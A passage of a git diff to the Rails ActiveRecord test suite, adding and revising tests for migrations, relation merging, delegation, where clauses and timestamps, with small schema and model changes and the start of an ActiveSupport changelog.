@@ -443,6 +447,32 @@ class MigrationTest < ActiveRecord::TestCase
Person.connection.drop_table :binary_testings rescue nil
end
+ def test_create_table_with_query
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
+
+ Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
+
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ end
+
+ def test_create_table_with_query_from_relation
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
+
+ Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
+
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
+
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ end
+
if current_adapter? :OracleAdapter
def test_create_table_with_custom_sequence_name
# table name is 29 chars, the standard sequence name will
@@ -743,7 +773,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
@@ -768,7 +798,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, sources)
assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
@@ -788,7 +818,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
@@ -863,7 +893,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/non_existing"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
@@ -878,7 +908,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/empty"
@existing_migrations = []
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index 2e386a172a..3831de6ae3 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -101,7 +101,7 @@ class MultipleDbTest < ActiveRecord::TestCase
College.first.courses.first
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 6cd3e2154e..6f1e518f45 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -152,6 +152,20 @@ class PersistenceTest < ActiveRecord::TestCase
assert_equal original_errors, client.errors
end
+ def test_dupd_becomes_persists_changes_from_the_original
+ original = topics(:first)
+ copy = original.dup.becomes(Reply)
+ copy.save!
+ assert_equal "The First Topic", Topic.find(copy.id).title
+ end
+
+ def test_becomes_includes_changed_attributes
+ company = Company.new(name: "37signals")
+ client = company.becomes(Client)
+ assert_equal "37signals", client.name
+ assert_equal %w{name}, client.changed
+ end
+
def test_delete_many
original_count = Topic.count
Topic.delete(deleting = [1, 2])
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 136fda664c..5566563116 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -134,6 +134,15 @@ class QueryCacheTest < ActiveRecord::TestCase
end
end
+ def test_find_queries_with_multi_cache_blocks
+ Task.cache do
+ Task.cache do
+ assert_queries(2) { Task.find(1); Task.find(2) }
+ end
+ assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+ end
+ end
+
def test_count_queries_with_cache
Task.cache do
assert_queries(1) { Task.count; Task.count }
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
index 13677797cf..9b2bfed039 100644
--- a/activerecord/test/cases/relation/delegation_test.rb
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -6,95 +6,63 @@ module ActiveRecord
class DelegationTest < ActiveRecord::TestCase
fixtures :posts
- def assert_responds(target, method)
- assert target.respond_to?(method)
- assert_nothing_raised do
- method_arity = target.to_a.method(method).arity
+ def call_method(target, method)
+ method_arity = target.to_a.method(method).arity
- if method_arity.zero?
- target.send(method)
- elsif method_arity < 0
- if method == :shuffle!
- target.send(method)
- else
- target.send(method, 1)
- end
+ if method_arity.zero?
+ target.public_send(method)
+ elsif method_arity < 0
+ if method == :shuffle!
+ target.public_send(method)
else
- raise NotImplementedError
+ target.public_send(method, 1)
end
+ elsif method_arity == 1
+ target.public_send(method, 1)
+ else
+ raise NotImplementedError
end
end
end
- class DelegationAssociationTest < DelegationTest
- def target
- Post.first.comments
- end
+ module DelegationWhitelistBlacklistTests
+ ARRAY_DELEGATES = [
+ :+, :-, :|, :&, :[],
+ :all?, :collect, :detect, :each, :each_cons, :each_with_index,
+ :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+ :map, :none?, :one?, :partition, :reject, :reverse,
+ :sample, :second, :sort, :sort_by, :third,
+ :to_ary, :to_set, :to_xml, :to_yaml
+ ]
- [:map, :collect].each do |method|
- test "##{method} is delegated" do
- assert_responds(target, method)
- assert_equal(target.pluck(:body), target.send(method) {|post| post.body })
- end
-
- test "##{method}! is not delegated" do
- assert_deprecated do
- assert_responds(target, "#{method}!")
- end
+ ARRAY_DELEGATES.each do |method|
+ define_method "test_delegates_#{method}_to_Array" do
+ assert_respond_to target, method
end
end
- [:compact!, :flatten!, :reject!, :reverse!, :rotate!,
- :shuffle!, :slice!, :sort!, :sort_by!].each do |method|
- test "##{method} delegation is deprecated" do
- assert_deprecated do
- assert_responds(target, method)
- end
- end
- end
-
- [:select!, :uniq!].each do |method|
- test "##{method} is implemented" do
- assert_responds(target, method)
+ ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method|
+ define_method "test_#{method}_is_not_delegated_to_Array" do
+ assert_raises(NoMethodError) { call_method(target, method) }
end
end
end
- class DelegationRelationTest < DelegationTest
- fixtures :comments
+ class DelegationAssociationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
def target
- Comment.where(body: 'Normal type')
+ Post.first.comments
end
+ end
- [:map, :collect].each do |method|
- test "##{method} is delegated" do
- assert_responds(target, method)
- assert_equal(target.pluck(:body), target.send(method) {|post| post.body })
- end
-
- test "##{method}! is not delegated" do
- assert_deprecated do
- assert_responds(target, "#{method}!")
- end
- end
- end
+ class DelegationRelationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
- [:compact!, :flatten!, :reject!, :reverse!, :rotate!,
- :shuffle!, :slice!, :sort!, :sort_by!].each do |method|
- test "##{method} delegation is deprecated" do
- assert_deprecated do
- assert_responds(target, method)
- end
- end
- end
+ fixtures :comments
- [:select!, :uniq!].each do |method|
- test "##{method} triggers an immutable error" do
- assert_raises ActiveRecord::ImmutableRelation do
- assert_responds(target, method)
- end
- end
+ def target
+ Comment.all
end
end
end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index d44b4dfe3d..fd2420cb88 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -23,6 +23,12 @@ module ActiveRecord
assert_equal([expected], relation.where_values)
end
+ def test_not_with_nil
+ assert_raise ArgumentError do
+ Post.where.not(nil)
+ end
+ end
+
def test_not_in
expected = Arel::Nodes::NotIn.new(Post.arel_table[@name], %w[hello goodbye])
relation = Post.where.not(title: %w[hello goodbye])
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index 56e4605ccc..937f226b1d 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -35,6 +35,21 @@ module ActiveRecord
assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
end
+ def test_belongs_to_nil_where
+ assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+ end
+
+ def test_belongs_to_array_value_where
+ assert_equal Post.where(author_id: [1,2]).to_sql, Post.where(author: [1,2]).to_sql
+ end
+
+ def test_belongs_to_nested_relation_where
+ expected = Post.where(author_id: Author.where(id: [1,2])).to_sql
+ actual = Post.where(author: Author.where(id: [1,2])).to_sql
+
+ assert_equal expected, actual
+ end
+
def test_belongs_to_nested_where
parent = Comment.new
parent.id = 1
@@ -55,6 +70,25 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_polymorphic_nested_array_where
+ treasure = Treasure.new
+ treasure.id = 1
+ hidden = HiddenTreasure.new
+ hidden.id = 2
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: [treasure, hidden])
+ actual = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_nested_relation_where
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2]))
+ actual = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2]))
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
def test_polymorphic_sti_shallow_where
treasure = HiddenTreasure.new
treasure.id = 1
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 70d113fb39..15611656fd 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -207,6 +207,16 @@ module ActiveRecord
assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
+ def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+ post = Post.create!(title: "haha", body: "huhu")
+ comment = post.comments.create!(body: "hu")
+ 3.times { comment.ratings.create! }
+
+ relation = Post.joins(:comments).merge Comment.joins(:ratings)
+
+ assert_equal 3, relation.where(id: post.id).pluck(:id).size
+ end
+
def test_respond_to_for_non_selected_element
post = Post.select(:title).first
assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
@@ -221,6 +231,5 @@ module ActiveRecord
posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
-
end
end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index baa3acf3fb..031da8e6d6 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -151,6 +151,11 @@ class RelationTest < ActiveRecord::TestCase
assert_equal relation.to_a, Comment.select('a.*').from(relation, :a).to_a
end
+ def test_finding_with_subquery_without_select
+ relation = Topic.where(:approved => true)
+ assert_equal relation.to_a, Topic.from(relation).to_a
+ end
+
def test_finding_with_conditions
assert_equal ["David"], Author.where(:name => 'David').map(&:name)
assert_equal ['Mary'], Author.where(["name = ?", 'Mary']).map(&:name)
@@ -295,7 +300,7 @@ class RelationTest < ActiveRecord::TestCase
def test_null_relation_calculations_methods
assert_no_queries do
assert_equal 0, Developer.none.count
- assert_equal 0, Developer.none.calculate(:count, nil)
+ assert_equal 0, Developer.none.calculate(:count, nil, {})
assert_equal nil, Developer.none.calculate(:average, 'salary')
end
end
@@ -1506,26 +1511,55 @@ class RelationTest < ActiveRecord::TestCase
assert !Post.all.respond_to?(:by_lifo)
end
- class OMGTopic < ActiveRecord::Base
- self.table_name = 'topics'
+ test "merge collapses wheres from the LHS only" do
+ left = Post.where(title: "omg").where(comments_count: 1)
+ right = Post.where(title: "wtf").where(title: "bbq")
- def self.__omg__
- "omgtopic"
- end
+ expected = [left.where_values[1]] + right.where_values
+ merged = left.merge(right)
+
+ assert_equal expected, merged.where_values
+ assert !merged.to_sql.include?("omg")
+ assert merged.to_sql.include?("wtf")
+ assert merged.to_sql.include?("bbq")
end
- test "delegations do not clash across classes" do
- begin
- class ::Array
- def __omg__
- "array"
- end
- end
+ def test_merging_removes_rhs_bind_parameters
+ left = Post.where(id: Arel::Nodes::BindParam.new('?'))
+ column = Post.columns_hash['id']
+ left.bind_values += [[column, 20]]
+ right = Post.where(id: 10)
- assert_equal "array", Topic.all.__omg__
- assert_equal "omgtopic", OMGTopic.all.__omg__
- ensure
- Array.send(:remove_method, :__omg__)
- end
+ merged = left.merge(right)
+ assert_equal [], merged.bind_values
+ end
+
+ def test_merging_keeps_lhs_bind_parameters
+ column = Post.columns_hash['id']
+ binds = [[column, 20]]
+
+ right = Post.where(id: Arel::Nodes::BindParam.new('?'))
+ right.bind_values += binds
+ left = Post.where(id: 10)
+
+ merged = left.merge(right)
+ assert_equal binds, merged.bind_values
+ end
+
+ def test_merging_reorders_bind_params
+ post = Post.first
+ id_column = Post.columns_hash['id']
+ title_column = Post.columns_hash['title']
+
+ bv = Post.connection.substitute_at id_column, 0
+
+ right = Post.where(id: bv)
+ right.bind_values += [[id_column, post.id]]
+
+ left = Post.where(title: bv)
+ left.bind_values += [[title_column, post.title]]
+
+ merged = left.merge(right)
+ assert_equal post, merged.first
end
end
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index 11dd32bfb8..71754cf0a2 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -178,7 +178,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
def test_unscope_select
expected = Developer.order('salary ASC').collect { |dev| dev.name }
- received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+ received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect { |dev| dev.name }
assert_equal expected, received
expected_2 = Developer.all.collect { |dev| dev.id }
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 0c9f7ccd55..6f632b4d8d 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -162,4 +162,8 @@ class StoreTest < ActiveRecord::TestCase
assert_equal [:color], first_model.stored_attributes[:data]
assert_equal [:width, :height], second_model.stored_attributes[:data]
end
+
+ test "YAML coder initializes the store when a Nil value is given" do
+ assert_equal({}, @john.params)
+ end
end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index a9a114328c..bf9e14fa4f 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -129,11 +129,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_creates_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_creates_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -143,7 +154,7 @@ module ActiveRecord
def test_establishes_connection_for_the_given_environment
ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
- ActiveRecord::Base.expects(:establish_connection).with('development')
+ ActiveRecord::Base.expects(:establish_connection).with(:development)
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -239,11 +250,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_drops_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_drops_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.drop_current(
ActiveSupport::StringInquirer.new('development')
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index 2953b2b2be..717e0e1866 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -272,36 +272,62 @@ class TimestampTest < ActiveRecord::TestCase
assert_not_equal time, old_pet.updated_at
end
- def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
- klass = Class.new(ActiveRecord::Base) do
- def self.name; 'Toy'; end
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
end
- wheel_klass = Class.new(ActiveRecord::Base) do
+ wheel_class = Class.new(ActiveRecord::Base) do
def self.name; 'Wheel'; end
belongs_to :wheelable, :polymorphic => true, :touch => true
end
- toy1 = klass.find(1)
- toy2 = klass.find(2)
+ car1 = car_class.find(1)
+ car2 = car_class.find(2)
- wheel = wheel_klass.new
- wheel.wheelable = toy1
- wheel.save!
+ wheel = wheel_class.create!(wheelable: car1)
time = 3.days.ago.at_beginning_of_hour
- toy1.update_columns(updated_at: time)
- toy2.update_columns(updated_at: time)
+ car1.update_columns(updated_at: time)
+ car2.update_columns(updated_at: time)
- wheel.wheelable = toy2
+ wheel.wheelable = car2
wheel.save!
- toy1.reload
- toy2.reload
+ assert_not_equal time, car1.reload.updated_at
+ assert_not_equal time, car2.reload.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
+ end
+
+ toy_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ car = car_class.find(1)
+ toy = toy_class.find(3)
+
+ wheel = wheel_class.create!(wheelable: car)
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ car.update_columns(updated_at: time)
+ toy.update_columns(updated_at: time)
+
+ wheel.wheelable = toy
+ wheel.save!
- assert_not_equal time, toy1.updated_at
- assert_not_equal time, toy2.updated_at
+ assert_not_equal time, car.reload.updated_at
+ assert_not_equal time, toy.reload.updated_at
end
def test_clearing_association_touches_the_old_record
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index 84c16fb109..f89c26532d 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -28,8 +28,8 @@ if ActiveRecord::Base.connection.supports_transaction_isolation?
end
setup do
- Tag.establish_connection 'arunit'
- Tag2.establish_connection 'arunit'
+ Tag.establish_connection :arunit
+ Tag2.establish_connection :arunit
Tag.destroy_all
end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 1de8934406..3790d3c8cf 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -3,6 +3,8 @@ require "cases/helper"
require 'models/man'
require 'models/face'
require 'models/interest'
+require 'models/speedometer'
+require 'models/dashboard'
class PresenceValidationTest < ActiveRecord::TestCase
class Boy < Man; end
@@ -48,4 +50,18 @@ class PresenceValidationTest < ActiveRecord::TestCase
i2.mark_for_destruction
assert b.invalid?
end
+
+ def test_validates_presence_doesnt_convert_to_array
+ Speedometer.validates_presence_of :dashboard
+
+ dash = Dashboard.new
+
+ # dashboard has to_a method
+ def dash.to_a; ['(/)', '(\)']; end
+
+ s = Speedometer.new
+ s.dashboard = dash
+
+ assert_nothing_raised { s.valid? }
+ end
end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 5f55696c1d..de618902aa 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -56,13 +56,11 @@ class ValidationsTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
- begin
- r = WrongReply.new
+ r = WrongReply.new
+ invalid = assert_raise ActiveRecord::RecordInvalid do
r.save!
- flunk
- rescue ActiveRecord::RecordInvalid => invalid
- assert_equal r, invalid.record
end
+ assert_equal r, invalid.record
end
def test_exception_on_create_bang_many
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000000..9d46485a31
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,8 @@
+class MigrationVersionCheck < ActiveRecord::Migration
+ def self.up
+ raise "incorrect migration version" unless version == 20131219224947
+ end
+
+ def self.down
+ end
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 4c3b71e8f9..48a110bd23 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -14,6 +14,7 @@ class Admin::User < ActiveRecord::Base
end
belongs_to :account
+ store :params, accessors: [ :token ], coder: YAML
store :settings, :accessors => [ :color, :homepage ]
store_accessor :settings, :favorite_food
store :preferences, :accessors => [ :remember_login ]
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index 794d1af43d..c197951c71 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -29,7 +29,7 @@ class Author < ActiveRecord::Base
has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
- has_many :welcome_posts_with_comment,
+ has_many :welcome_posts_with_one_comment,
-> { where(title: 'Welcome to the weblog').where('comments_count = ?', 1) },
class_name: 'Post'
has_many :welcome_posts_with_comments,
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index a26de55758..2e2d8a0d37 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -36,6 +36,10 @@ class Developer < ActiveRecord::Base
end
has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+ has_and_belongs_to_many :sym_special_projects,
+ :join_table => :developers_projects,
+ :association_foreign_key => 'project_id',
+ :class_name => 'SpecialProject'
has_many :audit_logs
has_many :contracts
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 6b7012a172..a86a188bcf 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,6 +1,6 @@
ActiveRecord::Schema.define do
- %w(postgresql_ranges postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
+ %w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
end
@@ -74,18 +74,6 @@ _SQL
);
_SQL
- execute <<_SQL if supports_ranges?
- CREATE TABLE postgresql_ranges (
- id SERIAL PRIMARY KEY,
- date_range daterange,
- num_range numrange,
- ts_range tsrange,
- tstz_range tstzrange,
- int4_range int4range,
- int8_range int8range
- );
-_SQL
-
execute <<_SQL
CREATE TABLE postgresql_tsvectors (
id SERIAL PRIMARY KEY,
@@ -221,4 +209,3 @@ _SQL
t.text :text, limit: 100_000
end
end
-
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 92e2e4d409..ddfc1ac0d6 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -45,6 +45,7 @@ ActiveRecord::Schema.define do
t.string :preferences, null: true, default: '', limit: 1024
t.string :json_data, null: true, limit: 1024
t.string :json_data_empty, null: true, default: "", limit: 1024
+ t.text :params
t.references :account
end
@@ -245,6 +246,7 @@ ActiveRecord::Schema.define do
t.integer :trainer_id
t.integer :breeder_id
t.integer :dog_lover_id
+ t.string :alias
end
create_table :edges, force: true, id: false do |t|
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index 196b3a9493..d11fd9cfc1 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -15,7 +15,7 @@ module ARTest
puts "Using #{connection_name}"
ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
ActiveRecord::Base.configurations = connection_config
- ActiveRecord::Base.establish_connection 'arunit'
- ARUnit2Model.establish_connection 'arunit2'
+ ActiveRecord::Base.establish_connection :arunit
+ ARUnit2Model.establish_connection :arunit2
end
end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index 9c7078b9a4..adaeb99c87 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,3 +1,144 @@
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value from hash.
+
+ *Celestino Gomes*
+
+* Maintain proleptic gregorian in Time#advance
+
+ `Time#advance` uses `Time#to_date` and `Date#advance` to calculate a new date.
+ The `Date` object returned by `Time#to_date` is constructed with the assumption
+ that the `Time` object represents a proleptic gregorian date, but it is
+ configured to observe the default julian calendar reform date (2299161j)
+ for purposes of calculating month, date and year:
+
+ Time.new(1582, 10, 4).to_date.to_s # => "1582-09-24"
+ Time.new(1582, 10, 4).to_date.gregorian.to_s # => "1582-10-04"
+
+ This patch ensures that when the intermediate `Date` object is advanced
+ to yield a new `Date` object, that the `Time` object for return is constructed
+ with a proleptic gregorian month, date and year.
+
+ *Riley Lynch*
+
+* `MemCacheStore` should only accept a `Dalli::Client`, or create one.
+
+ *arthurnn*
+
+* Don't lazy load the `tzinfo` library as it causes problems on Windows.
+
+ Fixes #13553.
+
+ *Andrew White*
+
+* Use `remove_possible_method` instead of `remove_method` to avoid
+ a `NameError` to be thrown on FreeBSD with the `Date` object.
+
+ *Rafael Mendonça França*, *Robin Dupret*
+
+* `blank?` and `present?` commit to return singletons.
+
+ *Xavier Noria*, *Pavel Pravosud*
+
+* Fixed Float related error in NumberHelper with large precisions.
+
+ Before:
+
+ ActiveSupport::NumberHelper.number_to_rounded '3.14159', precision: 50
+ #=> "3.14158999999999988261834005243144929409027099609375"
+
+ After:
+
+ ActiveSupport::NumberHelper.number_to_rounded '3.14159', precision: 50
+ #=> "3.14159000000000000000000000000000000000000000000000"
+
+ *Kenta Murata*, *Akira Matsuda*
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+ `I18n` will make sure that all locales passed to it must be declared in the
